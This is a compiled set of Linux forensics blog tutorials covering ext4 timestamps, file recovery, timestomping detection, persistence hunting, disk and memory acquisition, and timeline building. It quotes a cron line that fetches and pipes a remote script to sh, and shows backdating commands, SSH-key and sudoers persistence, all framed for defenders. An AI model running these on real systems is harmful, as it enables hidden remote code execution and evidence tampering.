When you're digging into Linux systems, especially during live forensics or incident response, understanding file system behavior is crucial. The ext4 file system is commonly used , and knowing how to read file timestamps  properly can give you a solid edge in an investigation. Let's break it down in a very real-world , 🔹 1. Basic ls -l — Let’s Start Simple When you run: ls -l You get a list of files along with a timestamp. That timestamp? It’s the modification time (mtime) . That’s the default. If you're like me and wondering, "What if I want to see when a file was last accessed or changed in metadata?" , then you’ve got options. 🔹 2. Customize the Time Display (atime, ctime, etc.) Use --time= to get the info you care about: ls -l --time=atime # Shows last access time ls -l --time=ctime # Shows inode change time Note: c time is not "creation time" (confusing, I know). It's the time when metadata  (permissions, ownership, etc.) changed. Want to know what time options ls supports? Just check: man ls 🔹 3. Can We See File Creation Time on ext4? Now here’s where it gets interesting — and a bit annoying. ext4   can  support birth time  (aka creation time) , but not all Linux distros expose it by default via normal tools. Some versions of ls, stat, or even the filesystem itself may not record it. So how do we go deeper? That’s where the magic of debugfs comes in. 🔹 4. stat Command — Detailed File Info Quick and handy: stat You’ll see Access, Modify, Change times and creation time as well . But again, Sometimes no creation time . Sad life 😅. 🔹 5. Using debugfs to Dig Deeper (Finding Birth Time or Inode Info) When you’re doing live response and the system won’t give you birth/creation time using stat, this is your go-to: sudo debugfs -R "stat " /dev/ ⚠️ You need the device name  where the file system is mounted. How to find the device name? Use: df or df -h Sometimes you might find something like /dev/sdc or /dev/mapper/ubuntu--vg-root if LVM is used. Also check /etc/fstab: cat /etc/fstab This shows all persistently mounted devices, useful when the system uses LVM or /dev/mapper. Sometimes it’ll look like: /dev/disk/by-id/dm-uuid-LVM-... ✅ Example Use Case: Let’s say I want to check creation time for /var/log/syslog. Run: sudo debugfs -R "stat /var/log/syslog" /dev/sdc Boom! You'll now see: Inode Size Access time Modify time Change time Creation time  (if available!) This is not  the same stat command we used earlier. This one is a debugfs internal command . 🔹 6. Using debugfs in Interactive Mode You can drop directly into debugfs with: sudo debugfs /dev/sdc Once inside, you’re in a shell-like environment. Just run: stat /home/akashpatel/arkme No need for -R here — you're already inside. 🔹 7. Want Inode Number First? Sometimes, you want to grab the inode of a file before using debugfs. You can do this: ls -i /home/akashpatel/arkme Now if you’ve got an inode like 123456, and you're inside debugfs, just run: stat <123456> Or even: cat <123456> (Yeah, cat also works in debugfs!) 🔹 Pro Tips: Always double-check you’re using the right device — especially with forensic images or LVM setups. debugfs is super powerful, but read-only usage is safest  in live forensics (avoid writing to the file system!). If you get errors running debugfs, make sure the device isn't actively in use or try accessing a mounted image instead. In a nutshell: Command What It Shows ls -l mtime (default) ls -l --time=atime Access time ls -l --time=ctime Metadata change time stat mtime, atime, ctime, crtime(sometimes) debugfs -R "stat " /dev/... Shows all 4 timestamps including birth time  (if supported) debugfs (interactive) Explore with inode numbers, use stat, cat, etc. ------------------------------------------------------------------------------------------------------------- Lets Suppose You accidentally delete a super important file on a Linux system running an ext2/ext3/ext4 filesystem. The panic hits, right? But don’t worry—I’ll walk you through how to recover  it using a mix of tools like debugfs , ext4magic , and Sleuth Kit . 🧰 1. Recover Deleted Files Using debugfs (Works Best on EXT2) If the f ilesystem is ext2 , then debugfs is your best buddy . It's got this neat command called lsdel  that lists recently deleted files. 🔧 Basic Workflow Launch debugfs : sudo debugfs /dev/sdX Replace /dev/sdX with your actual device (e.g., /dev/sdc). List deleted files : lsdel Or: list_deleted_inodes You’ll get inode numbers of deleted files. Pick the one you want. View inode details : stat Preview content  (yes, you can peek!): cat Recover the file : dump /desired/output/path/ 💡 Heads-up : This method is mostly for ext2  filesystems. Why? Because ext3 and ext4 clean up the data blocks after deletion , which makes recovery harder directly. ------------------------------------------------------------------------------------------------------------- 🧠 2. Recovery on EXT3 and EXT4 (Using Journal + ext4magic Tool) Now here’s where it gets a bit more interesting. With ext3/ext4, things aren’t that simple because once a file is deleted, the inode is wiped out. But all hope isn’t lost—we go after the journal . 🔒 Journal’s Inode is Always 8 Yup. To grab the journal: debugfs /dev/sdc dump <8> /path/to/save/journal.dump 🚀 Use ext4magic for Real Recovery This tool is specially made to deal with journal-based recovery. Install it if you haven’t: sudo apt install ext4magic 🛠️ Basic Command: sudo ext4magic /dev/sdc -j /path/to/journal.dump -m -d /path/to/recovery_folder Flags explained: -j: Path to journal dump file -m: Recover ALL deleted files -d: Where to store recovered files -a or -b: Time-based filtering (after/before a specific time) 🎯 Example: Recover files deleted in the last 6 hours ext4magic /dev/sdc -a "$(date -d "-6hours or -7days" +%s)" -j journal.dump -m -d ./recovered 💬 This gives you super fine control over what to recover. It’s way better than randomly guessing. Recovered Files ------------------------------------------------------------------------------------------------------------- 🔍 3. Sleuth Kit Magic – Inspect and Recover Like a Forensics Expert If you’re digging into a disk image , maybe from a compromised system or raw forensic capture, you’ll want to mount it and go deeper. 🧱 Mount the Image (Linux or WSL) sudo mkdir /mnt/test sudo mount -o ro,loop /path/to/linux.raw /mnt/test Now run: df Note down the mounted device name (e.g., /dev/loop0 or /dev/sdc). 🔎 Key Sleuth Kit Commands 1. fsstat – Filesystem Overview sudo fsstat /dev/sdc 2. fls – List Deleted Files (and More!) sudo fls -r -d -p /dev/sdc -r: Recursive -d: Deleted entries -p: Show full path 3. istat – Inode Metadata sudo istat /dev/sdc 4. icat – View File Content by Inode sudo icat /dev/sdc Perfect for checking the content of deleted files even if they don’t show up in the normal file tree. 🌀 Filesystem Journal Analysis with Sleuth Kit Sometimes, you want to peek into journal entries directly. Here’s how: 1. jls – List Journal Blocks sudo jls /dev/sdc | more 2. jcat – View Journal Block Content sudo jcat /dev/sdc This is raw, low-level stuff—but crucial when traditional recovery methods fall short. ------------------------------------------------------------------------------------------------------------- 📦 Bonus: File Carving with photorec If you’re like “Just give me all the lost files!”, then photorec is your hero. Install it: sudo apt install testdisk Run it: sudo photorec Just point it to your image or device, choose the file types you want to recover, and it does the rest. It’ll carve out all files it finds—even if directory info is gone. (Very Simple just follow the commands it shows) 🔍 Final Tip: Search Within Recovered Files Once you recover everything, you might want to search for a specific string, like an IP address or username: grep -Rail -a "192.168.1.10" ./recovered The -a treats binary files as text, which is super helpful during deep dives. ✅ Wrapping Up So, whether you’re on a forensic case or just accidentally nuked your presentation file, these tools have your back. Just remember: Use debugfs for ext2 . Use ext4magic + journal for ext3/ext4 . Use Sleuth Kit for image-based investigation. And photorec when you’re ready to say “Recover ALL the things!” -------------------------------------Dean---------------------------------------------------

------------------------------------------------------------------------------------------------------ Before we dive into timestomping on Linux, a quick note: I've already written a detailed article on timestomping in Windows , where I covered what it is, how attackers use it, and most importantly— how to detect it effectively . If you're interested in understanding Windows-based timestomp techniques and detection strategies, make sure to check out the article linked below: 👉 https://www.cyberengage.org/post/anti-forensics-timestomping Now, let’s explore how timestomping works on Linux systems and what you can do to uncover such activity. ------------------------------------------------------------------------------------------------------ Let’s talk about something that often flies under the radar in Linux investigations— timestomping . If you’re into forensics or incident response, you’ve probably come across files where the timestamps just don’t seem right. Maybe a malicious script claims it was modified months before the attack even happened. Suspicious, right? That’s timestomping in action. 🔧 So, What Exactly Is  Timestomping? Timestomping is a sneaky little trick attackers use to manipulate file timestamps in order to hide their activities. Basically, they change the "last modified," "last accessed," or even "created" dates of files, so things don’t look out of place during an investigation. Here are the four main timestamps you’ll see in Linux: atime  – last time the file was accessed mtime  – last time the content was modified ctime  – last time metadata (like permissions) changed crtime  – file creation time (only visible on some filesystems like ext4, and not easily accessible) The goal is simple: blend in . If the file looks like it’s been sitting around for months, maybe you won’t look at it twice. 🛠️ The Classic Way: Using touch in Linux The most common and dead-simple way to timestomp in Linux is with the touch  command. 🧪 Basic Syntax: touch -t [YYYYMMDDhhmm.ss] file 🎯 Some Practical Examples: Set a custom access & modification time: touch -t 202501010830.30 malicious.sh Change only the access time: touch -a -t 202501010101.01 report.log Change only the modification time: touch -m -t 202501010101.01 report.log ❗ Important Note: touch cannot change ctime or crtime . That’s metadata Linux protects more tightly. ------------------------------------------------------------------------------------------------------------- 🧠 Pro Trick: Copy Timestamps from Another File Want to make one file mimic another? touch -r /home/akash/legitfile suspiciousfile Now suspiciousfile will have the same access and modification times as legitfile. Handy for blending in! 👀 But... Can We Detect This? Yes. Even though timestomping is subtle, there are a few tells if you know what to look for. 🕵️‍♀️ 1. Subsecond Precision = 0? Run stat on the file: stat suspiciousfile If you see nanoseconds like .000000000, it might’ve been altered using touch—since manual timestamps usually don’t include fine-grained precision. ----------------------------------------------------------------------------------------------------------- ⏳ System Time Manipulation: Another Sneaky Method Here’s another trick some attackers use—they change the system clock  to backdate files. 🧪 How it Works: Turn off NTP (time syncing): sudo timedatectl set-ntp false Set a fake date/time: sudo date -s "1999-01-01 12:00:00" Create or drop your malicious files: touch payload.sh Restore the actual time: sudo timedatectl set-ntp true Now those files look like they were created in 1999—even though they were dropped minutes ago. 🔍 Real-World Detection Tips Here’s how we can catch these kinds of timestamp games: 📋 1. Command Monitoring Keep an eye on suspicious commands in your logs: touch -t touch -r date -s timedatectl hwclock 🧭 2. Timeline Inconsistencies Does a file’s mtime  predate surrounding system events? Is ctime  suspiciously newer than atime/mtime ? Are there clusters of files all modified at the same weird timestamp? Use stat to dig into these or check timelines with forensic tools (more on that below). 🛠️ Forensic Tools That Can Help Here are some tools I often use when digging into possible timestomping: auditd  – Can log file events and command execution (like touch, date) Sysmon for Linux  – A great way to track suspicious process activity Plaso / log2timeline  – My go-to for creating timelines and spotting weird timestamp gaps Velociraptor  – Awesome for live hunting across multiple systems Eric Zimmerman's Tools  – These are more for Windows, but worth mentioning if you’re working across platforms or with NTFS images 🔚 Final Thoughts Timestomping isn’t flashy—but it’s effective. That’s what makes it dangerous. A single altered timestamp can throw off your entire investigation if you’re not paying attention. But once you know what to look for—whether it's zeroed-out nanoseconds, unusual ctime, or oddly-timed files—you can start to see through the smoke and mirrors. Stay curious, stay forensic. 🕵️‍♂️ ------------------------------------------------------------Dean--------------------------------------------

Before I start, I have already touched on persistence mechanism in article (Exploring Linux Attack Vectors: How Cybercriminals Compromise Linux Servers) If you want you can check it out link below: https://www.cyberengage.org/post/exploring-linux-attack-vectors-how-cybercriminals-compromise-linux-servers --------------------------------------------------------------------------------------------------------- Understanding init.d and systemd Service management in Linux has evolved significantly over the years, transitioning from traditional init.d scripts to the more modern systemd system . Both play crucial roles in starting, stopping, and managing background services (daemons), but they differ greatly in functionality, design, and usability. init.d: The Traditional System The init.d system has historically been the backbone of Linux service management. It consists of shell scripts stored in the /etc/init.d directory , each designed to control the lifecycle of a specific service. Common Commands Service management through init.d typically involves: start – Launch the service stop – Terminate the service restart – Stop and start the service again status – Check if the service is running Limitations Despite being widely used for years, init.d has several limitations: Lack of standardization: Script behaviors can vary widely No built-in dependency handling: Scripts must manually ensure other services are available Slower boot times due to serial service initialization Runlevels Runlevels define the state of the machine and what services should be running: 0 – Halt 1 – Single user mode 2 – Multi-user, no network 3 – Multi-user with networking 4 – User-defined 5 – Multi-user with GUI 6 – Reboot Management Tools Depending on the Linux distribution: Debian-based systems: Use update-rc.d to manage services Fedora/RedHat-based systems: Use chkconfig for the same purpose Script Location /etc/init.d – Main l ocation for service scripts systemd: The Modern Standard Introduced in 2010, systemd was designed to overcome the shortcoming s of traditional init systems. Although initially controversial, it has since become the default service manager in most major Linux distributions. Advantages Parallelized startup for faster boot times Dependency management between services Integrated logging through the systemd-journald service Standardized unit files replace disparate shell scripts Unit Files Instead of shell scripts, systemd uses declarative unit files to define how services should behave . These files can be of different types, such as: *.service – Defines a system service *.socket – Socket activation *.target – Grouping units for specific states (like runlevels) Unit File Locations /etc/systemd/system/ – Local overrides and custom service files /lib/systemd/system/ – Package-installed units (symlinked to /usr/lib/systemd/system on some distros) /usr/lib/systemd/system / – Units installed by the operating system   --------------------------------------------------------------------------------------------------------- systemd Timers vs Cron Jobs When it comes to establishing persistence on a Linux system, attackers and administrators alike have a range of tools at their disposal. Two commonly used scheduling mechanisms are systemd timers and cron jobs. Both serve the purpose of executing tasks at predefined intervals, but they differ in structure, control, and usage. Let’s take a closer look at each. systemd Timers With the adoption of systemd in most modern Linux distributions, systemd timers have emerged as a powerful and flexible way to schedule tasks . Much like Windows Scheduled Tasks, these timers can initiate background services at specific times or intervals. How They Work Systemd timers work in tandem with systemd service units. Typically, a timer will have a corresponding service file. For instance: data_exfil.timer → triggers data_exfil.service However, you can also explicitly define the service to trigger by adding Unit=custom.service in the .timer file. Key systemd Timer Commands: For managing systemd timers on a live system, use the following: Enables the timer to start at boot systemctl enable .timer Starts the timer immediately. systemctl start .timer Displays the current status, including the last and next trigger times. systemctl status .timer Why Use systemd Timers? Granular control over execution intervals Integration with other systemd features (dependencies, logging, etc.) More readable and maintainable compared to complex cron entries 2. Cron Jobs Cron has long been the go-to tool for task scheduling in Unix and Linux environments. It’s simple, reliable, and nearly universal. Format: <*> <*> <*> <*> <*> <*> :- minute (0 - 59) <*> :- hour (0 - 23) <*> :- day of the month (1 - 31) <*> :- month of the year (1 - 12) <*> :- day of the week (0 - 7; 0/7 = SUN) ( * )=wildcard for any value ( , )= list multiple values ( - )= specify a range ( / )= set increments within a range How It Works Cron jobs are defined in crontab files, which contain entries with six fields: /30 * wget -q -O - /attack.sh | sh This example runs a command every 30 minutes, silently fetching and executing a remote script — a classic example of how cron can be used maliciously. Crontab Commands Use these on a live system to inspect cron jobs: Lists current user’s cron jobs. crontab -l Cron File Locations On Debian-based systems, cron-related files are typically found in: /var/spool/cron/crontabs – per-user cron jobs /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/ – system-wide jobs Why Use Cron? Universally supported across Unix-like systems Lightweight and straightforward Does not require systemd --------------------------------------------------------------------------------------------------------- Other Persistence Mechanisms 1. SSH as a Persistence Mechanism SSH is one of the most reliable methods for attackers to maintain persistent access to a compromised system. There are two primary types of SSH authentication mechanisms: password-based and key-based . While password-based authentication is common, key-based authentication  is often favored for persistence due to its robustness and ease of use. How It Works: An attacker generates a public/private key pair  on their own machine and then places the p ublic key into the victim system’s ~/.ssh/authorized_keys file . This allows them to authenticate to the system without needing to provide a password. Key-based SSH authentication is popular because once set up, the attacker can access the system remotely and continuously, even if the initial password is changed. To check for this persistence, system administrators should audit the following locations: /home//.ssh/authorized_keys If an unfamiliar key is present, it could indicate unauthorized access. 2. Bash Configuration Files Another method for creating persistence on a compromised system involves manipulating Bash configuration files . These files are typically executed when a user logs into a Bash shell, making them ideal for executing malicious scripts or commands automatically. Key Files to Review: Per-User Files: /home//.bashrc /home//.bash_profile These files are executed each time a user opens a new terminal session. If an attacker has modified these files, they may have inserted a script to run malicious commands. Other Per-User Bash Files: /home//.bash_login /home//.bash_logout These files are also executed during user login and logout events. Any modifications should be carefully reviewed. System-Wide Files: /etc/bash.bashrc /etc/profile /etc/profile.d/* The system-wide configuration files affect all users and may contain attacker's code or scripts. Check the modification timestamps for any unexpected changes. rc.local: /etc/rc.local (if it exists) This file, if present, runs scripts at system startup. While it might not exist by default on all systems, attackers can create it and add malicious commands to execute on boot. 3. udev Rules udev is a device manager for the Linux kernel, responsible for managing device nodes in /dev. Attackers can exploit this by creating custom udev rules to trigger scripts based on hardware events, such as when a USB device is connected . Key Files to Check: /etc/udev/rules.d/ Review the files in this directory for any new or suspicious rules that might automatically execute a script when specific hardware is connected (e.g., a USB stick). 4. XDG Autostart On systems with a graphical user interface (GUI), attackers may place scripts in directories related to XDG autostart . These scripts are automatically executed when the desktop environment starts, ensuring that malicious processes are launched every time the user logs in. Key Files to Review: System-Wide: /etc/xdg/autostart/ Per-User: /home//.config/autostart/ Any unfamiliar script in these directories could be a sign of persistent malware that runs whenever a user logs into the graphical environment. 5. Network Manager Scripts The NetworkManager is responsible for managing network connections on Linux systems. Attackers can exploit this system by placing scripts in the NetworkManager's dispatcher directory to trigger actions during network events, such as when a specific network interface comes online. Key Files to Review: /etc/NetworkManager/dispatcher.d/ Scripts in this directory are executed whenever there are changes to network interfaces. Reviewing these files can reveal hidden scripts designed to execute during network events. 6. Modifying Sudoers for Elevated Privileges Attackers often modify system configurations to ensure they can escalate privileges or maintain administrative access. One way to do this is by editing the sudoers file, which controls which users can run specific commands as root . Example Sudoers Entry: ALL=(ALL:ALL) ALL This entry allows any user to execute any command as any other user, including root. Attackers might add themselves to this file to gain elevated privileges at will. To check for unauthorized changes: Use sudo vi to safely edit and inspect the /etc/sudoers file. Look for unusual users or commands in the sudoers file that could grant an attacker unrestricted access. --------------------------------------------------------------------------------------------------------- Conclusion Persistence is a critical phase of the attack lifecycle. A comprehensive security audit should include checking not just user accounts and SSH keys but also background services, startup scripts, scheduled tasks, and even device event triggers. By understanding the various persistence mechanisms — from traditional cron jobs to modern systemd timers — security professionals can more effectively hunt, detect, and respond to adversarial activity before it escalates into a bigger breach. Key Takeaway: Effective persistence hunting means combining file integrity monitoring , service auditing , and user account audits  into a regular security strategy. ------------------------------------------Dean----------------------------------------------------------

Hey everyone! Today, we’re going to dive into a super important topic when it comes to Linux forensics  — evidence collection .We’ll cover the classic tools like dd, dcfldd, and dc3dd, and also talk about modern memory acquisition  methods and a very cool script called UAC . Let’s get right into it! Disk Imaging Tools: dd, dcfldd, and dc3dd When you're doing any kind of forensic work, the first rule is: capture an exact copy  of the original data. In Linux, we have some legendary tools for this — and the best part? They're super easy to use once you get the hang of it! 1. dd – The Classic One You might think "dd" stands for something, but it actually doesn’t officially mean anything! It's a foundational UNIX tool  for copying and converting files. Almost every Linux or UNIX-like system has it installed by default — making it a go-to for forensic investigators. It's often used to create bit-by-bit images  of disks (i.e., exact copies). Example command: dd if=/dev/sda of=/path/to/image.dd bs=4M if = input file (your source device) of = output file (where you want to save the image) bs = block size (common values: 1M or 4M) Quick Tip: If you use /dev/sda as input, you capture the entire disk , including all partitions. If you use something like /dev/sda3, you're only capturing a specific partition . You can check your drives using: df -h And when naming your images, you'll often see extensions like .dd, .raw, or .img  — they're all pretty standard. 2. dcfldd – Upgraded dd for Forensics dcfldd is basically an enhanced version of dd. Built by the U.S. Department of Defense Computer Forensics Lab  (cool, right?). It adds features super useful for investigators: On-the-fly hashing  (SHA256, SHA1, etc.) Status output  (you see progress!) Splitting output  into multiple smaller files. Example command: dcfldd if=/dev/sda of=/path/to/image.dd bs=4M hash=sha256 hashwindow=1G hash=sha256 will hash the image during acquisition. hashwindow=1G means it creates a hash after every 1GB chunk. 3. dc3dd – The Newest and Most Advanced dc3dd is another evolution, developed by the U.S. Department of Defense Cyber Crime Center (DC3) . It extends dcfldd with even more features : Better logging . Drive wiping  and pattern writing  (if needed). Detailed forensic reporting . Example command: dc3dd if=/dev/sda of=/path/to/image.dd log=/path/to/logfile.txt hash=sha256 hlog=/path/to/hashlog.txt This will: Capture the image. Log everything. Hash the image and save the hash to a separate file. Quick Summary: Tool Highlight dd Basic and universal dcfldd Adds hashing and better status reporting dc3dd Full forensic features with detailed logging Important: Across all three tools, if and of parameters stay the same — so once you learn one, you can easily switch to others! ------------------------------------------------------------------------------------------------------------ Linux Memory Acquisition: Capturing the Volatile Data Now, let’s move on to memory acquisition  — another critical  part of forensics. Memory holds running processes , network connections , encryption keys , and a lot of other sensitive stuff that disappears if the machine is powered off. Old School Method: In the early days, people used dd to dump memory from /dev/mem or /dev/kmem. But now, we have much better tools! Modern Tool: LiME (Linux Memory Extractor) LiME is specifically designed for live memory acquisition  on Linux machines. You can find it here: 🔗 LiME GitHub Repository It allows you to grab a memory image without shutting down the system — which is super important in real investigations. Another Option: AVML (Accelerated Volatile Memory Acquisition) Built by Microsoft, AVML is a super lightweight tool for memory captures on Linux. You can grab it here: 🔗 AVML GitHub Repository Output: ------------------------------------------------------------------------------------------------------------ Extra Goodie: Using UAC Script for Artifact Collection! If you've followed my macOS forensic  series, you already know about UAC (Universal Acquisition Collector)  — Good news:  UAC supports Linux  too! 🔗 UAC GitHub Repository Here’s how UAC works: Enumerates  available system tools. Loads the uac.conf  configuration file . Builds a list of artifacts  to collect. Collects  data (files, hashes, timestamps). Creates a single output archive  and hashes it. Generates a full acquisition log . Quick How-To for UAC on Linux First, download and unzip  UAC: tar zxvf uac.tar.gz Inside the unzipped directory, you’ll find multiple folders. The profiles folder is important — it contains YAML files that define what artifacts will be collected. List available profiles: ./uac --profile list Run UAC to collect everything  (using the full profile): sudo ./uac -p full /path/to/output/folder ✅ Done! Now you have a full snapshot of the system's forensic artifacts. What’s inside the output? A bodyfile  — a text file with all the filesystem metadata (useful for timeline creation). A Live_Response  folder — containing processes, network connections, user accounts, and much more. .stderr.txt files — if any command threw an error, it’s logged here. You can easily open and analyze these outputs on Linux or even Windows (with Notepad). Wrapping Up Evidence collection is the foundation  of any good forensic investigation. Tools like dd, dcfldd, dc3dd, LiME , AVML , and UAC  make it much easier to capture, preserve, and analyze  critical data. Whether you're imaging a disk or grabbing volatile memory, remember: 👉 Accuracy and proper documentation are everything in forensics! -----------------------------------------Dean------------------------------------------------------

Building a timeline during forensic investigations is super important — it helps you see what happened and when . Today, I’ll walk you through two simple but powerful ways to create timelines: Using fls + mactime Using Plaso / Log2Timeline (psteal, log2timeline, psort) Don’t worry — I’ll explain everything in a very simple way, just like we’re talking casually! -------------------------------------------------------------------------------------------------------- 🛠 Method 1: Using fls and mactime for Filesystem Timeline First things first: Make sure the tool is installed. If not, you can install it easily: sudo apt install sleuthkit The SleuthKit  package gives you useful forensic tools like fls, mactime, icat, and more. Step 1: Create a Body File with fls Now, let's create the timeline body file: fls -r -m "/" /mnt/c/Users/Akash's/Downloads/image.dd > /mnt/c/Users/Akash's/Downloads/timeline.body What’s happening here? -r → Recursively walk through all directories and files. -m "/" → Mount point is root /. /mnt/.../image.dd → This is your disk image. 👉 Combining -r and -m "/", we tell fls: "Hey, start from root and go deep into everything inside." Tip: Check your .body output — it should look clean and pipe-delimited  (| characters). If it looks good, you’re all set for the next step! Step 2: Create a CSV Timeline with mactime Now let's process the body file and create a readable timeline: mactime -b /mnt/c/Users/Akash's/Downloads/timeline.body -d -y > /mnt/c/Users/Akash's/Downloads/timeline.csv What do the options mean? -b → Body file input. -d → Output in delimited  format (for spreadsheets). -y → Use UTC  time zone. Optional:  You can also specify a different timezone (not recommended generally): mactime -b file.body -d -y -z germany/berlin Or even specify a date range  if you want: mactime -b timeline.body -d -y 2025-04-02 .. 2025-04-22 > timeline.csv Step 3: Analyze Timeline Use Timeline Explorer  (Eric Zimmerman's free tool) to open and analyze your CSV file. It’s one of the easiest ways to slice and dice timeline data visually! You can even turn on hidden columns like UID, GID, Permissions  by right-clicking and choosing "Column Chooser." Note: Since I’m running on ext4 filesystem , I'm able to see creation/birth times too. 👉 Important: Using fls gives you a filesystem timeline  only (file creation, modification, access, and metadata changes). -------------------------------------------------------------------------------------------------------- 🧠 Method 2: Creating Timeline Using Plaso (Log2Timeline) If you want deeper timelines  including event logs, browser history, and way more artifacts — use Plaso . I've already made two detailed guides on Plaso for Windows if you want to dive even deeper. Links coming below! 😉 Running Plaso/Log2Timeline on Windows https://www.cyberengage.org/post/running-plaso-log2timeline-on-windows A Deep Dive into Plaso/Log2Timeline Forensic Tools https://www.cyberengage.org/post/a-deep-dive-into-plaso-log2timeline-forensic-tools Anyway, let’s jump into it. Option 1: Easy Way — Using psteal.py Let's run everything in a single command: psteal.py --source /mnt/c/Users/Akash's/Downloads/image.dd -o dynamic -w /mnt/c/Users/Akash's/Downloads/plasotimeline.csv What this does: Runs Log2Timeline  + psort  automatically. Saves output as a nicely formatted CSV (plasotimeline.csv). You can use .vmdk virtual machine images too: psteal.py --source /path/to/your.vmdk -o dynamic -w /path/to/output.csv Super clean and fast! Option 2: Manual Way — (Better Control) Want to control everything yourself? Here’s how: Step 1: Parse the Image with log2timeline.py log2timeline.py --storage-file timeline.plaso /path/to/image.dd timeline.plaso is the storage file  that saves extracted events. Step 2: Check Metadata with pinfo.py pinfo.py timeline.plaso See event counts, sources, time ranges, and other goodies inside the .plaso file. Step 3: Create Timeline Output with psort.py psort.py -o dynamic -w timeline.csv timeline.plaso This command sorts the events and outputs them nicely to a CSV! -------------------------------------------------------------------------------------------------------- 💬 But wait… Why Manual Parsing? You might ask — if psteal.py is so easy, why bother with manual steps? Here’s the thing: Manual parsing  lets you use powerful filters. You can selectively extract events, artifacts, or specific activities. It's way more flexible for bigger/messier investigations. 🎯 Artifact Filtering with Plaso (Advanced) Let’s say you want to pull only  Bash shell history. Here’s how you can do that: Step 1: Download Artifacts Repository From: https://github.com/ForensicArtifacts/artifacts Inside, you'll find tons of .yaml files under the /data folder. Each YAML defines different forensic artifacts! Step 2: Run log2timeline with Artifact Filter log2timeline.py --storage-file test.plaso /path/to/image.vmdk --artifact-filters BashShellHistoryFile 👉 Tip: The names come from the YAML filenames — so if you wonder "where did BashShellHistoryFile come from?" — now you know. 😄 Output: Step 3: Run pinfo with created plaso file pinfo.py /path/to/outputfile.plaso Step 4: Run psort with created plaso file psort.py -o dynamic -w /mnt/c/Users/Admin/Downloads/test.csv /mnt/c/Users/Admin/Downloads/test.plaso Output: ---------------------------------------------------------------------------------------------------------- Using a Custom Filter File You can also create a mini YAML filter file like this: description: LinuxSysLogFiles type: include path_separator: '/' paths: - '/var/log/syslog*' And then run: log2timeline.py --storage-file test3.plaso /path/to/image.vmdk --filter-file /path/to/your_custom.yaml Common Issues Sometimes you may face weird errors while using artifact filters directly with .yaml (after downloading the files. If that happens, create your own YAML and use --filter-file instead. Pro Tip: Always create a full  Plaso storage file first, and then filter during psort , instead of during log2timeline.This gives you more flexibility later! -------------------------------------------------------------------------------------------------------- 🛠 Bonus: Narrowing Timelines with Psort You can narrow results easily after timeline creation: Slice Around a Specific Time psort.py -o dynamic -w timeline.csv timeline.plaso --slice 2025-04-23T22:00:00+00:00 Default slice = 5 minutes before and after. Date Range Filter psort.py -o dynamic -w timeline2.csv timeline.plaso "date > '2025-04-01 23:59:59' and date < '2025-04-23 00:00:00'" This will output events only within your specified date window. -------------------------------------------------------------------------------------------------------- 🚀 Conclusion For simple filesystem timelines  → fls + mactime works great. For full system artifact timelines  → Plaso/Log2Timeline  is the best. Recommendation:  Always create a full .plaso file, then slice and filter later using psort.py . Would you also like me to format this for your website with: "Thanks for sticking with me through this article! See you in the next one — stay curious and keep exploring!" ----------------------------------------Dean---------------------------------------------------------

In the fast-evolving world of digital forensics, time is critical. Traditional methods of acquiring full disk images are becoming increasingly impractical due to the sheer size of modern storage devices. The reality is that 99% of the necessary evidence typically exists within just 1% of the acquired data. Instead of waiting hours for a full disk image, focusing on this crucial 1% can significantly speed up investigations. Why Rapid Triage Collection Matters Saves Time  – Collecting only essential forensic artifacts allows investigators to start analyzing data sooner. Reduces Storage Needs  – Full disk images consume massive amounts of storage, whereas triage collection focuses only on critical data. Enhances Efficiency  – Investigators can prioritize relevant information and streamline the investigative process. Key Artifacts to Collect During Triage To ensure effective triage, forensic analysts should focus on specific files and artifacts that provide the most insight. These include: File System & Activity Logs $MFT (Master File Table)  – Contains metadata about every file and folder on the system. $Logfile & USN Journal  – Records changes such as file creation, modification, and deletion. Windows Registry Hives SAM  – Stores user account information. SYSTEM  – Contains system configuration details. SOFTWARE  – Holds installed software and system settings. DEFAULT, NTUSER.DAT & USRCLASS.DAT  – User-specific settings and configurations. AMCACHE.HVE  – Tracks executed programs. System & User Activity Logs Event Logs (.evtx)  – Tracks system and user activities. Other Log Files  – Includes setup logs, firewall logs, and web server logs. Prefetch Files (.pf)  – Evidence of executed programs, including access history. Shortcut Files (.lnk)  – Indicates files and directories opened by the user. Jump Lists  – Collection of shortcut files that reveal frequently accessed files and directories. Check Out the below article it contain detail analysis on almost all the artifacts: https://www.cyberengage.org/courses-1/windows-forensic-artifacts User-Specific Data Recent Folder & Subfolders  – Stores recent document access history. AppData Folder  – Contains browsing history, cookies, and cached files. Pagefile.sys & Hiberfil.sys  – Can contain remnants of past user activity stored in virtual memory. Specialized Artifacts for Advanced Investigations Certain artifacts provide deeper insight into a user's actions and past activity, even if data has been deleted. Volume Shadow Copies What It Is:  A point-in-time backup of an NTFS volume. Why It’s Useful:  Helps recover deleted files, registry hives, and past system states. Location:  C:\System Volume Information Recommended Tools:  KAPE, VSCMount, Shadow Explorer. ShellBags What It Is:  Tracks user navigation through directories, including removable storage and remote servers. Why It’s Useful:  Helps reconstruct user activity even if the files/folders no longer exist. Location:  Registry keys within NTUSER.DAT and USRCLASS.DAT. Recommended Tools:  ShellBags Explorer, SBECmd. Triage Tools for Efficient Collection Forensic professionals can utilize powerful tools to automate and streamline triage collection: FTK Imager  – Extracts files by extension. LECmd  – Parses .lnk files. JLECmd, JumpList Explorer  – Extracts jump list data. PECmd  – Analyzes prefetch files. KAPE  – Rapid collection of forensic artifacts. Shadow Explorer  – Recovers files from volume shadow copies. ------------------------------------------------------------------------------------------------------------- When dealing with digital evidence, one of the most critical steps is proper acquisition. This ensures that investigators can analyze data without tampering with the original evidence. Two powerful tools for forensic acquisition are FTK Imager  and KAPE . Each serves a different purpose, and understanding their strengths helps streamline forensic investigations. Why Imaging Matters in Digital Forensics In digital forensics, it’s generally not advisable to work directly on original evidence. Instead, investigators create forensic images— bit-by-bit copies of a device—to analyze while preserving the integrity of the original data. However, imaging takes time, and sometimes investigators must balance speed with thoroughness. This is where triaging becomes an essential technique. Acquisition Using FTK Imager FTK Imager is a well-known forensic imaging tool used to create full disk images, memory dumps, and file captures while maintaining forensic integrity. The step-by-step guide for FTK Imager-based imaging is available in a detailed PDF document  on my website. You can download it from the Resume  section under the document name "FTK Imager Based Imaging" . Acquisition Using KAPE K APE (Kroll Artifact Parser and Extractor) is a rapid forensic triage tool that can collect targeted artifacts from a live system or forensic image . Unlike FTK Imager, which captures everything, KAPE focuses on extracting critical forensic artifacts   such as: Event logs Registry hives Browser history User activity logs https://www.cyberengage.org/courses-1/kape-unleashed%3A-harnessing-power-in-incident-response KAPE is also useful for remote forensic collection, making it 